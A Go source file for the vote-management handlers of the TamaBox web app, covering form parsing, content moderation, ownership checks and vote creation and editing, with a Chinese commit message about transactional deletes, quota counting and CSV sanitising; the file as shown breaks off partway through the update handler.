Files
tamabox/route/user/vote.go
T
tamakyi d5d25c804b fix(data): 删除改成一个事务且真删、配额与内容同事务
四类问题都出在「多次独立写入 + 失败只打日志」这个模式上。

1) 删除投票的级联没有事务(route/user/vote.go)
   选项 / 表单字段 / 提交记录 / 投票本体是 4 次独立写入,前 3 步失败只 Warn。
   中途失败会留下「选项没了但票还在」这种界面无法修复的状态 —— 重试删除时
   投票已不存在,只能报 not exist,脏数据永远留着。
   → db.Votes.DeleteWithCascade:四张表在同一事务里删完。

2) 删除其实是软删除,个人数据没真删掉
   模型都嵌了 dbutil.Model(含 DeletedAt),原来所有 Delete 都是软删:
   提交记录里参与者填写的文本、voter_ip、voter_token,以及提问里的 FromIP,
   只是「界面上看不见」,库里永久留着。用户点删除的预期不是这样。
   软删还会占住 link_token 唯一索引,删过的链接永远不能复用。
   → 删除投票与删除提问统一 Unscoped 真删;提问的追问/图片关联/配额回退
     原来也是三个独立写入(失败只 Warn),一并收进事务。

3) 配额计数会永久偏低
   「创建内容」与「quota_count+1」是两次写入,后者失败只 Warn:
   箱主看到的「已收集 7/10」偏小,达到上限后因为计数偏小实际还能继续收,
   等于定量收集被静默绕过;重置计数也校准不回来(重置是把计数清零,更脱节)。
   → 抽出 incrementQuotaTx(tx, userID, feature, delta) 作为唯一实现,
     提问 Questions.Create、私聊 CreateWithFirstMessage、投票提交
     VoteSubmissions.Create(新增 QuotaUserID)都在自己的事务里完成 +1。
   注意口径:投票的定量收集是「累计收到的票数」(提交成功时 +1),
   不是「创建了几个投票」—— 所以删除投票不回退这个计数。

4) 改写追问回答每次都发通知邮件
   箱主改措辞、补一句、修错别字都会重新保存,每次都发的话提问者会连着收到
   好几封一模一样的「您的提问有回复」。主回答那边早有 question.Answer == ""
   的判定,追问这里补齐:UpdateAnswerByID 在事务内读旧值返回 wasFirst。

顺带:
- isQuestioner 的 token 比较从 == 改为 subtle.ConstantTimeCompare,
  与 Pager 中间件里的校验同口径(== 按字节短路,可用响应时间逐字节试探)。
- CSV 导出的表头(字段名)与选项内容列补 sanitizeCSVCell。原来只有数据列走它,
  而选项名同样可能是 =HYPERLINK(...) 形式;判断也改成看 trim 后的首字符。
- 写路径的功能开关改 fail-closed:新增 db.FeatureStateOfStrict,读配置失败时
  拒绝而不是回退默认配置 —— 提问/投票的默认值是「开启」,fail-open 等于让一次
  数据库抖动绕过箱主设的关闭与定量上限。读展示仍用宽松版。

验证:全量单测(带 DB)与 go build ./... 通过;verify_round3 6/6(私聊
message_count 与实际消息数一致)、verify_p1 4/4、verify_round2 19/19、
verify_page_next 6/6、verify_chat_owner 3/3。
2026-10-29 17:18:28 +08:00

1333 lines
48 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package user
import (
"encoding/csv"
"encoding/json"
"fmt"
"net/http"
"sort"
"strconv"
"strings"
"time"
"go.opentelemetry.io/otel/trace"
"github.com/pkg/errors"
"github.com/sirupsen/logrus"
"gorm.io/datatypes"
"github.com/tamakyi/TamaBox/internal/cache"
"github.com/tamakyi/TamaBox/internal/conf"
"github.com/tamakyi/TamaBox/internal/context"
"github.com/tamakyi/TamaBox/internal/db"
"github.com/tamakyi/TamaBox/internal/i18n"
"github.com/tamakyi/TamaBox/internal/security/censor"
"github.com/tamakyi/TamaBox/internal/security/moderation"
votepkg "github.com/tamakyi/TamaBox/route/vote"
)
// voteTextRepliesCache 表单投票「回复明细」的短 TTL 缓存:该视图需逐条 json.Unmarshal
// 全部提交记录(O(N)),结果页非强一致,30s 陈旧可接受。
var voteTextRepliesCache = cache.NewTTLCache(64)
const voteTextRepliesCacheTTL = 30 * time.Second
// ---------------- 表单解析 ----------------
// voteFormFieldInput 表单字段的前端输入结构(vote-form.html 中的 JS 数组)。
type voteFormFieldInput struct {
FieldType string `json:"field_type"`
Label string `json:"label"`
Required bool `json:"required"`
MaxLength int `json:"max_length"`
Options []string `json:"options"` // 选项数组(select/radio/checkbox/rank),前端逐条添加
AllowCustom bool `json:"allow_custom"` // 允许补充自定义选项(radio/select/checkbox)
}
// voteForm 解析后的完整表单(含选项与表单字段)。
type voteForm struct {
opts db.CreateVoteOptions
options []string
formFields []db.CreateVoteFormFieldOptions
censorMetadata datatypes.JSON // 标题审核结果
}
// censorCheck 对单段文本做内容审核。与提问 / 私聊共用 moderation.Check 守卫,
// 是否拦截由发起人的「审核严格度」档位决定;fail-closed,服务异常时拒绝发布。
func censorCheck(ctx context.Context, text string) error {
_, err := moderation.Check(ctx.Request().Context(), moderation.EffectiveStrictness(ctx.Request().Context(), ctx.User.ID, ctx.User.ModerationStrictness), ctx.Lang(), text)
return err
}
// parseTimeInput 解析 "YYYY-MM-DDTHH:MM"(HTML datetime-local 格式),空串返回 nil。
// 用 time.Local 而非 time.Parse:后者会解析成 UTC,与 time.Now() 比较时产生时区偏移。
func parseTimeInput(ctx context.Context, s string) (*time.Time, error) {
s = strings.TrimSpace(s)
if s == "" {
return nil, nil
}
t, err := time.ParseInLocation("2006-01-02T15:04", s, time.Local)
if err != nil {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.timeFormat"))
}
return &t, nil
}
// parseVoteForm 手动解析投票表单(元信息 + 类型 + 选项/字段)。
// 不用 form.Bind:其反射绑定会把 string 直接赋给 int 字段导致 panic,
// 且选项/字段数组需 JSON 解析。draft=true 时放宽数量与审核要求,便于随时暂存。
func parseVoteForm(ctx context.Context, draft bool) (*voteForm, error) {
form, err := parseVoteMeta(ctx, draft)
if err != nil {
return nil, err
}
voteType := strings.TrimSpace(ctx.Request().FormValue("type"))
switch voteType {
case db.VoteTypeSingle, db.VoteTypeMultiple, db.VoteTypeRating, db.VoteTypeRank, db.VoteTypeForm:
default:
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.type"))
}
form.opts.Type = voteType
maxChoices := 1
if voteType == db.VoteTypeMultiple {
maxChoices, _ = strconv.Atoi(strings.TrimSpace(ctx.Request().FormValue("max_choices")))
if maxChoices < 1 {
maxChoices = 1
}
if maxChoices > 20 {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.maxChoicesLimit"))
}
}
form.opts.MaxChoices = maxChoices
if voteType == db.VoteTypeForm {
if err := parseFormFields(ctx, form, draft); err != nil {
return nil, err
}
} else {
if err := parseOptions(ctx, form, voteType, maxChoices, draft); err != nil {
return nil, err
}
}
return form, nil
}
// parseVoteMetaForm 仅解析元信息(发布后编辑用):标题/描述/可见性/范围/结果策略/
// 自定义开关/时间窗/防刷/验证码。类型与选项/字段发布后不可修改(避免破坏历史数据归因)。
func parseVoteMetaForm(ctx context.Context) (*voteForm, error) {
return parseVoteMeta(ctx, false)
}
// parseVoteMeta 解析投票元信息(不含类型与选项/字段)。draft=true 时放宽校验并跳过
// 内容审核:草稿为私有内容,不应因审核服务抖动而丢失;审核统一在发布时补齐。
func parseVoteMeta(ctx context.Context, draft bool) (*voteForm, error) {
get := func(name string) string { return strings.TrimSpace(ctx.Request().FormValue(name)) }
title := get("title")
// 草稿允许暂存空标题(发布前再补全);非草稿必须填写
if title == "" && !draft {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.titleRequired"))
}
if len([]rune(title)) > 100 {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.titleTooLong"))
}
description := get("description")
if len([]rune(description)) > 5000 {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.descriptionTooLong"))
}
// 内容审核(fail-closed):非草稿执行;草稿跳过(见上说明)
var censorMeta datatypes.JSON
if !draft {
titleCensor, err := moderation.Check(ctx.Request().Context(), moderation.EffectiveStrictness(ctx.Request().Context(), ctx.User.ID, ctx.User.ModerationStrictness), ctx.Lang(), title)
if err != nil {
return nil, err
}
censorMeta = datatypes.JSON(titleCensor.ToJSON())
if description != "" {
if err := censorCheck(ctx, description); err != nil {
return nil, err
}
}
}
visibility := get("visibility")
switch visibility {
case db.VoteVisibilityPublic, db.VoteVisibilityLinkOnly:
default:
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.visibility"))
}
voterScope := get("voter_scope")
switch voterScope {
case db.VoteVoterScopeAnyone, db.VoteVoterScopeRegisteredOnly:
default:
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.voterScope"))
}
showResult := get("show_result")
switch showResult {
case db.VoteShowResultAfterVote, db.VoteShowResultAfterEnd, db.VoteShowResultOwnerOnly:
default:
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.showResult"))
}
allowCustom := get("allow_custom") == "on"
// 匿名投票始终要求验证码(决策 #3 / P2-2):忽略客户端开关,强制开启,关闭复选框无法解除。
requireCaptcha := true
// 一人一票由业务规则固定;不从客户端读取已废弃字段,避免与数据库约束冲突。
maxVotes := 1
startAt, err := parseTimeInput(ctx, get("start_at"))
if err != nil {
return nil, err
}
endAt, err := parseTimeInput(ctx, get("end_at"))
if err != nil {
return nil, err
}
if startAt != nil && endAt != nil && !endAt.After(*startAt) {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.timeRange"))
}
// 定量收集上限:收集到指定份数后自动结束该投票(0 = 不限制)
quotaLimit, err := parseQuotaLimit(get("quota_limit"))
if err != nil {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.quota"))
}
return &voteForm{
opts: db.CreateVoteOptions{
UserID: ctx.User.ID,
Title: title,
Description: description,
Visibility: visibility,
VoterScope: voterScope,
ShowResult: showResult,
AllowCustom: allowCustom,
StartAt: startAt,
EndAt: endAt,
MaxVotesPerFingerprint: maxVotes,
RequireCaptcha: requireCaptcha,
QuotaLimit: int(quotaLimit),
},
censorMetadata: censorMeta,
}, nil
}
func parseOptions(ctx context.Context, form *voteForm, voteType string, maxChoices int, draft bool) error {
raw := strings.TrimSpace(ctx.Request().FormValue("options"))
if raw == "" {
// 草稿允许暂未添加选项;非草稿必须至少 2 个
if !draft {
return errors.New(i18n.T(ctx.Lang(), "vote.err.optionsTooFew"))
}
form.options = nil
return nil
}
var options []string
if err := json.Unmarshal([]byte(raw), &options); err != nil {
return errors.New(i18n.T(ctx.Lang(), "vote.err.optionsFormat"))
}
cleaned := make([]string, 0, len(options))
for _, o := range options {
o = strings.TrimSpace(o)
if o == "" {
continue
}
if len([]rune(o)) > conf.Limits.VoteOptionLen {
return errors.New(i18n.T(ctx.Lang(), "vote.err.optionTooLong", conf.Limits.VoteOptionLen))
}
// 选项内容审核(fail-closed):草稿跳过,发布时统一审核
if !draft {
if err := censorCheck(ctx, o); err != nil {
return err
}
}
cleaned = append(cleaned, o)
}
// 评分题不需要选项(固定 1-10 分)
if voteType == db.VoteTypeRating {
form.options = nil
return nil
}
// 草稿允许暂存少于 2 个选项;非草稿必须至少 2 个
if !draft && len(cleaned) < 2 {
return errors.New(i18n.T(ctx.Lang(), "vote.err.optionsTooFew"))
}
if voteType == db.VoteTypeMultiple && maxChoices > len(cleaned) {
return errors.New(i18n.T(ctx.Lang(), "vote.err.maxChoicesExceed"))
}
form.options = cleaned
return nil
}
func parseFormFields(ctx context.Context, form *voteForm, draft bool) error {
raw := strings.TrimSpace(ctx.Request().FormValue("form_fields"))
if raw == "" {
// 草稿允许暂未添加字段;非草稿必须至少 1 个
if !draft {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldsTooFew"))
}
return nil
}
var inputs []voteFormFieldInput
if err := json.Unmarshal([]byte(raw), &inputs); err != nil {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldsFormat"))
}
if len(inputs) == 0 {
if !draft {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldsTooFew"))
}
return nil
}
if len(inputs) > 50 {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldsTooMany"))
}
// label 必须唯一:FormData 以 label 为 key,重复会导致提交数据互相覆盖
seenLabels := make(map[string]bool, len(inputs))
for i, in := range inputs {
switch in.FieldType {
case db.VoteFormFieldTypeText, db.VoteFormFieldTypeTextarea, db.VoteFormFieldTypeSelect,
db.VoteFormFieldTypeRadio, db.VoteFormFieldTypeCheckbox, db.VoteFormFieldTypeNumber,
db.VoteFormFieldTypeRating, db.VoteFormFieldTypeRank:
default:
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldType"))
}
label := strings.TrimSpace(in.Label)
if label == "" {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldLabelMissing", i+1))
}
if len([]rune(label)) > 100 {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldLabelTooLong", i+1))
}
if seenLabels[label] {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldLabelDuplicate", label))
}
seenLabels[label] = true
if in.MaxLength < 0 || in.MaxLength > 2000 {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldMaxLength", i+1))
}
// 字段标签审核(fail-closed):草稿跳过,发布时统一审核
if !draft {
if err := censorCheck(ctx, label); err != nil {
return err
}
}
field := db.CreateVoteFormFieldOptions{
FieldType: in.FieldType,
Label: label,
Required: in.Required,
MaxLength: in.MaxLength,
SortOrder: i,
AllowCustom: in.AllowCustom,
}
switch in.FieldType {
case db.VoteFormFieldTypeSelect, db.VoteFormFieldTypeRadio, db.VoteFormFieldTypeCheckbox, db.VoteFormFieldTypeRank:
var opts []string
for _, raw := range in.Options {
opts = append(opts, splitOptionTokens(raw)...)
}
// "其他"保留标记不允许作为预设选项内容(参与端用它触发自定义输入)
for _, o := range opts {
if o == db.CustomFieldMarker {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldReservedOption", i+1, label))
}
// 长度与单选/多选选项同规则(前端 maxlength 同源,这里补后端兜底校验)
if len([]rune(o)) > conf.Limits.VoteOptionLen {
return errors.New(i18n.T(ctx.Lang(), "vote.err.optionTooLong", conf.Limits.VoteOptionLen))
}
}
if len(opts) < 1 {
// 草稿允许暂未填写字段选项;非草稿必须至少 1 个
if !draft {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldOptionsTooFew", i+1, label))
}
}
if in.FieldType == db.VoteFormFieldTypeRank && len(opts) < 2 {
if !draft {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldRankTooFew", i+1, label))
}
}
// 预置选项审核:草稿跳过,发布时统一审核
if !draft {
for _, o := range opts {
if err := censorCheck(ctx, o); err != nil {
return err
}
}
}
optsJSON, err := json.Marshal(opts)
if err != nil {
return errors.New(i18n.T(ctx.Lang(), "vote.err.fieldSerialize"))
}
field.Options = string(optsJSON)
}
form.formFields = append(form.formFields, field)
}
return nil
}
// ---------------- 归属校验 ----------------
// getOwnedVote 获取当前登录用户拥有的投票,校验归属。
func getOwnedVote(ctx context.Context, voteIDStr string) (*db.Vote, error) {
voteID, err := strconv.ParseUint(voteIDStr, 10, 64)
if err != nil {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.invalidID"))
}
vote, err := db.Votes.GetByID(ctx.Request().Context(), uint(voteID))
if err != nil {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.notExist"))
}
if vote.UserID != ctx.User.ID {
return nil, errors.New(i18n.T(ctx.Lang(), "vote.err.noPermission"))
}
return vote, nil
}
// ---------------- 处理器 ----------------
// effectiveVoteStatus 计算投票的有效展示状态(status + 时间窗联合判断):
// published 且未到开始时间 → 未开始;已过结束时间 → 已结束。
// 避免「已过结束时间仍显示进行中」。
func effectiveVoteStatus(v *db.Vote, now time.Time) string {
if v.Status != db.VoteStatusPublished {
return v.Status
}
if v.StartAt != nil && now.Before(*v.StartAt) {
return db.VoteStatusNotStarted
}
if v.EndAt != nil && !now.Before(*v.EndAt) {
return db.VoteStatusEnded
}
return db.VoteStatusPublished
}
// formatRemaining 格式化投票剩余时间(如"剩余 2 天 3 小时"),多语言文案。
func formatRemaining(lang string, endAt time.Time, now time.Time) string {
d := endAt.Sub(now)
if d <= 0 {
return ""
}
days := int(d.Hours()) / 24
hours := int(d.Hours()) % 24
mins := int(d.Minutes()) % 60
parts := []string{}
if days > 0 {
parts = append(parts, fmt.Sprintf("%d%s", days, i18n.T(lang, "vote.durationDay")))
}
if hours > 0 {
parts = append(parts, fmt.Sprintf("%d%s", hours, i18n.T(lang, "vote.durationHour")))
}
if mins > 0 && days == 0 {
parts = append(parts, fmt.Sprintf("%d%s", mins, i18n.T(lang, "vote.durationMinute")))
}
if len(parts) == 0 {
return ""
}
return i18n.T(lang, "vote.remainLabel") + strings.Join(parts, " ")
}
// voteItem 管理面板/投票列表所需的富信息条目(参与数、有效状态、剩余时间)。
type voteItem struct {
*db.Vote
SubmissionCount int64
OptionCount int64
EffectiveStatus string
RemainingText string // 有效进行中:剩余时间;无结束时间:无限期;其余为空
}
// buildVoteItems 将投票列表转换为管理面板所需的富信息条目。
// 性能:参与数与选项数经 CountByVoteIDs 批量聚合(2 条 WHERE vote_id IN),
// 替代原先每票各发 2 次 COUNT 的 N+1 查询(2N 条 SQL 降为 2 条)。
func buildVoteItems(ctx context.Context, votes []*db.Vote) []*voteItem {
lang := i18n.Default
if l, ok := ctx.Data["Lang"].(string); ok && l != "" {
lang = l
}
now := time.Now()
items := make([]*voteItem, 0, len(votes))
ids := make([]uint, 0, len(votes))
for _, v := range votes {
ids = append(ids, v.ID)
}
subCounts := map[uint]int64{}
optCounts := map[uint]int64{}
if len(ids) > 0 {
if m, err := db.VoteSubmissions.CountByVoteIDs(ctx.Request().Context(), ids); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to batch count submissions")
} else {
subCounts = m
}
if m, err := db.VoteOptions.CountByVoteIDs(ctx.Request().Context(), ids); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to batch count options")
} else {
optCounts = m
}
}
for _, v := range votes {
count := subCounts[v.ID]
optionCount := optCounts[v.ID]
eff := effectiveVoteStatus(v, now)
remaining := ""
if eff == db.VoteStatusPublished {
if v.EndAt != nil {
remaining = formatRemaining(lang, *v.EndAt, now)
} else {
remaining = i18n.T(lang, "vote.perpetual")
}
}
items = append(items, &voteItem{
Vote: v,
SubmissionCount: count,
OptionCount: optionCount,
EffectiveStatus: eff,
RemainingText: remaining,
})
}
return items
}
// VoteList 投票管理列表(保留以兼容旧链接):投票管理已合并到「我的提问箱」的投票面板,
// 直接跳转 /user/questions#votes,避免两套功能重复的页面。
func VoteList(ctx context.Context) {
ctx.Redirect("/user/questions#votes")
}
// VoteNew 新建投票页面。
func VoteNew(ctx context.Context) {
ctx.Data["Title"] = "新建投票"
ctx.Data["IsEdit"] = false
ctx.Data["MaxVoteOptionLen"] = conf.Limits.VoteOptionLen // 选项输入框 maxlength 同源(vote-form.html JS)
// 默认投票类型为表单收集(用户要求);同时给定模板零值兜底,避免切到多选时 max_choices 显示 0。
ctx.Data["Vote"] = &db.Vote{
Type: db.VoteTypeForm,
MaxChoices: 3,
MaxVotesPerFingerprint: 1,
}
ctx.Data["InitialOptions"] = []string{}
ctx.Data["InitialFields"] = []voteFormFieldInput{}
ctx.Success("user/vote-form")
}
// renderVoteFormWithInput 在保存失败时重新渲染表单并回填已提交内容,避免整页输入被清空。
// isEdit=true 时回填 vote.ID,保留编辑动作的提交地址。
//
// 错误提示直接写 c.Data 而非 session flash:本项目的 flash 在请求开始时就已读进 c.Data,
// 之后写入 session 的 flash 本次渲染读不到,还会残留到下次请求造成「陈旧错误」串页。
func renderVoteFormWithInput(ctx context.Context, isEdit bool, voteID uint, flashMsg string, internal bool) {
ctx.Data["MaxVoteOptionLen"] = conf.Limits.VoteOptionLen // 选项输入框 maxlength 同源(vote-form.html JS)
get := func(n string) string { return strings.TrimSpace(ctx.Request().FormValue(n)) }
title := get("title")
description := get("description")
voteType := get("type")
visibility := get("visibility")
voterScope := get("voter_scope")
showResult := get("show_result")
maxChoices, _ := strconv.Atoi(get("max_choices"))
if maxChoices < 1 {
maxChoices = 1
}
// 与数据库唯一索引保持一致;该策略不再由表单配置。
maxVotes := 1
allowCustom := get("allow_custom") == "on"
// 匿名投票始终要求验证码(决策 #3 / P2-2):忽略客户端开关,强制开启。
requireCaptcha := true
startAt, _ := parseTimeInput(ctx, get("start_at"))
endAt, _ := parseTimeInput(ctx, get("end_at"))
quotaLimit, _ := parseQuotaLimit(get("quota_limit"))
var initialOptions []string
if raw := strings.TrimSpace(ctx.Request().FormValue("options")); raw != "" {
_ = json.Unmarshal([]byte(raw), &initialOptions)
}
var initialFields []voteFormFieldInput
if raw := strings.TrimSpace(ctx.Request().FormValue("form_fields")); raw != "" {
_ = json.Unmarshal([]byte(raw), &initialFields)
}
vote := &db.Vote{
Title: title,
Description: description,
Type: voteType,
Visibility: visibility,
VoterScope: voterScope,
ShowResult: showResult,
MaxChoices: maxChoices,
MaxVotesPerFingerprint: maxVotes,
AllowCustom: allowCustom,
RequireCaptcha: requireCaptcha,
StartAt: startAt,
EndAt: endAt,
QuotaLimit: int(quotaLimit),
}
if isEdit {
vote.ID = voteID
}
ctx.Data["Title"] = "新建投票"
if isEdit {
ctx.Data["Title"] = "编辑投票"
}
ctx.Data["IsEdit"] = isEdit
ctx.Data["Vote"] = vote
ctx.Data["LockedContent"] = false
ctx.Data["InitialOptions"] = initialOptions
ctx.Data["InitialFields"] = initialFields
if startAt != nil {
ctx.Data["StartAtStr"] = startAt.Format("2006-01-02T15:04")
}
if endAt != nil {
ctx.Data["EndAtStr"] = endAt.Format("2006-01-02T15:04")
}
// 同请求错误提示:直接写入 c.Data(见函数注释,不能用 session flash)
if internal {
ctx.Data["HasError"] = true
ctx.Data["Error"] = "服务内部错误,请稍后重试。"
span := trace.SpanFromContext(ctx.Request().Context())
ctx.Data["FlashTip"] = fmt.Sprintf("若问题一直出现,请带上该段字符 %s 提交反馈。", span.SpanContext().TraceID().String())
} else if flashMsg != "" {
ctx.Data["HasError"] = true
ctx.Data["Error"] = flashMsg
}
ctx.Success("user/vote-form")
}
// VoteCreate 创建投票(默认草稿状态)。草稿保存放宽校验并跳过内容审核;
// 任何错误均回填表单而非清空输入。action=publish 时先存草稿再做发布校验,
// 失败则保留草稿并停留在编辑页,避免重复创建。
func VoteCreate(ctx context.Context) {
action := strings.TrimSpace(ctx.Request().FormValue("action"))
form, err := parseVoteForm(ctx, true)
if err != nil {
renderVoteFormWithInput(ctx, false, 0, err.Error(), false)
return
}
form.opts.CensorMetadata = form.censorMetadata
vote, err := db.Votes.Create(ctx.Request().Context(), form.opts)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to create vote")
renderVoteFormWithInput(ctx, false, 0, "", true)
return
}
if len(form.options) > 0 {
if _, err := db.VoteOptions.BulkCreate(ctx.Request().Context(), vote.ID, form.options); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to create vote options")
_ = db.Votes.DeleteByID(ctx.Request().Context(), vote.ID) // 回滚本次已建的空草稿,避免孤儿记录
renderVoteFormWithInput(ctx, false, 0, "", true)
return
}
}
if len(form.formFields) > 0 {
for i := range form.formFields {
form.formFields[i].VoteID = vote.ID
}
if _, err := db.VoteFormFields.BulkCreate(ctx.Request().Context(), vote.ID, form.formFields); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to create vote form fields")
_ = db.Votes.DeleteByID(ctx.Request().Context(), vote.ID) // 回滚本次已建的空草稿,避免孤儿记录
renderVoteFormWithInput(ctx, false, 0, "", true)
return
}
}
editURL := "/user/votes/" + fmt.Sprint(vote.ID) + "/edit"
if action == "publish" {
if err := validateForPublish(ctx, vote); err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect(editURL)
return
}
if err := db.Votes.UpdateStatus(ctx.Request().Context(), vote.ID, db.VoteStatusPublished); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to publish vote")
ctx.SetInternalErrorFlash()
ctx.Redirect(editURL)
return
}
shareURL := fmt.Sprintf("%s/vote/%s", strings.TrimRight(conf.App.ExternalURL, "/"), vote.LinkToken)
ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.published", shareURL))
ctx.Redirect("/user/questions#votes")
return
}
// 草稿保存成功:停留在编辑页,使用页面 toast 提示,避免 success flash 与 toast 重复展示。
ctx.Redirect(editURL + "?saved=1")
}
// VoteEdit 编辑投票页面(预填选项与表单字段)。
func VoteEdit(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
ctx.Data["Vote"] = vote
ctx.Data["IsEdit"] = true
ctx.Data["MaxVoteOptionLen"] = conf.Limits.VoteOptionLen // 选项输入框 maxlength 同源(vote-form.html JS)
ctx.Data["Title"] = "编辑投票"
// 草稿保存成功仅通过本次 URL 参数驱动统一 alert,不使用 session flash。
if ctx.Query("saved") == "1" {
ctx.Data["Success"] = i18n.T(ctx.Lang(), "vote.flash.draftSaved")
ctx.Data["DraftSaved"] = true
}
// 发布后的投票锁定类型与选项/字段(避免破坏历史投票数据归因),仅可编辑元信息
ctx.Data["LockedContent"] = vote.Status == db.VoteStatusPublished
// 选项 / 字段回填传结构化数据,模板经 toJSON(template.JS)注入 <script>,
// 避免 template.HTML 在 script 上下文被转义导致初始化失效。
options, _ := db.VoteOptions.ListByVoteID(ctx.Request().Context(), vote.ID)
ctx.Data["InitialOptions"] = optionsContent(options)
fields, _ := db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
ctx.Data["InitialFields"] = fieldsContent(fields)
// 时间回填:Go 模板直接输出 time.Time 不符合 datetime-local 格式,预先格式化
if vote.StartAt != nil {
ctx.Data["StartAtStr"] = vote.StartAt.Format("2006-01-02T15:04")
}
if vote.EndAt != nil {
ctx.Data["EndAtStr"] = vote.EndAt.Format("2006-01-02T15:04")
}
ctx.Success("user/vote-form")
}
// optionsContent 提取选项内容数组(模板回填用)。
func optionsContent(options []*db.VoteOption) []string {
out := make([]string, 0, len(options))
for _, o := range options {
out = append(out, o.Content)
}
return out
}
// fieldsContent 提取表单字段数组(模板回填用)。
func fieldsContent(fields []*db.VoteFormField) []voteFormFieldInput {
out := make([]voteFormFieldInput, 0, len(fields))
for _, f := range fields {
out = append(out, voteFormFieldInput{
FieldType: f.FieldType,
Label: f.Label,
Required: f.Required,
MaxLength: f.MaxLength,
Options: parseJSONStringArray(f.Options),
AllowCustom: f.AllowCustom,
})
}
return out
}
// parseJSONStringArray 解析 JSON 字符串数组,失败返回空数组。
func parseJSONStringArray(raw string) []string {
var out []string
if raw == "" {
return out
}
if err := json.Unmarshal([]byte(raw), &out); err != nil {
return []string{}
}
return out
}
// splitOptionTokens 按英文/中文逗号、顿号或换行拆分选项文本,兼容用户误用中文标点。
func splitOptionTokens(s string) []string {
parts := strings.FieldsFunc(s, func(r rune) bool {
return r == ',' || r == ',' || r == '、' || r == '\n' || r == '\r'
})
out := make([]string, 0, len(parts))
for _, p := range parts {
if p = strings.TrimSpace(p); p != "" {
out = append(out, p)
}
}
return out
}
// VoteUpdate 更新投票。状态分级:草稿可完整编辑(含事务重建选项/字段);
// 进行中仅可编辑元信息(类型与选项/字段锁定,避免破坏历史数据归因);已结束/归档禁止。
func VoteUpdate(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
return
}
// 已结束/归档的投票不允许编辑
if vote.Status == db.VoteStatusEnded || vote.Status == db.VoteStatusArchived {
ctx.SetErrorFlash(i18n.T(ctx.Lang(), "vote.err.editClosed"))
ctx.Redirect("/user/questions#votes")
return
}
// 进行中:仅解析元信息(标题/描述/可见性/范围/结果策略/时间窗/防刷/验证码)
if vote.Status == db.VoteStatusPublished {
form, err := parseVoteMetaForm(ctx)
if err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/votes/" + fmt.Sprint(vote.ID) + "/edit")
return
}
if err := db.Votes.Update(ctx.Request().Context(), vote.ID, db.UpdateVoteOptions{
Title: form.opts.Title,
Description: form.opts.Description,
// 发布后类型/选项不可改。Update 对 nil 指针字段跳过写入,故不传 Type/MaxChoices
// 即保留原值;即便将来漏传也不会把 type 写成 ""。选项由 ReplaceByVoteID 托管。
Visibility: form.opts.Visibility,
VoterScope: form.opts.VoterScope,
ShowResult: form.opts.ShowResult,
AllowCustom: form.opts.AllowCustom,
StartAt: form.opts.StartAt,
EndAt: form.opts.EndAt,
MaxVotesPerFingerprint: form.opts.MaxVotesPerFingerprint,
RequireCaptcha: form.opts.RequireCaptcha,
CensorMetadata: form.censorMetadata,
QuotaLimit: form.opts.QuotaLimit,
}); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to update vote meta")
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/votes/" + fmt.Sprint(vote.ID) + "/edit")
return
}
ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.updated"))
ctx.Redirect("/user/questions#votes")
return
}
// 草稿:完整编辑(含选项/字段事务重建);草稿放宽校验,错误时回填表单不丢输入
form, err := parseVoteForm(ctx, true)
if err != nil {
renderVoteFormWithInput(ctx, true, vote.ID, err.Error(), false)
return
}
if err := db.Votes.Update(ctx.Request().Context(), vote.ID, db.UpdateVoteOptions{
Title: form.opts.Title,
Description: form.opts.Description,
Type: &form.opts.Type,
Visibility: form.opts.Visibility,
VoterScope: form.opts.VoterScope,
ShowResult: form.opts.ShowResult,
AllowCustom: form.opts.AllowCustom,
MaxChoices: &form.opts.MaxChoices,
StartAt: form.opts.StartAt,
EndAt: form.opts.EndAt,
MaxVotesPerFingerprint: form.opts.MaxVotesPerFingerprint,
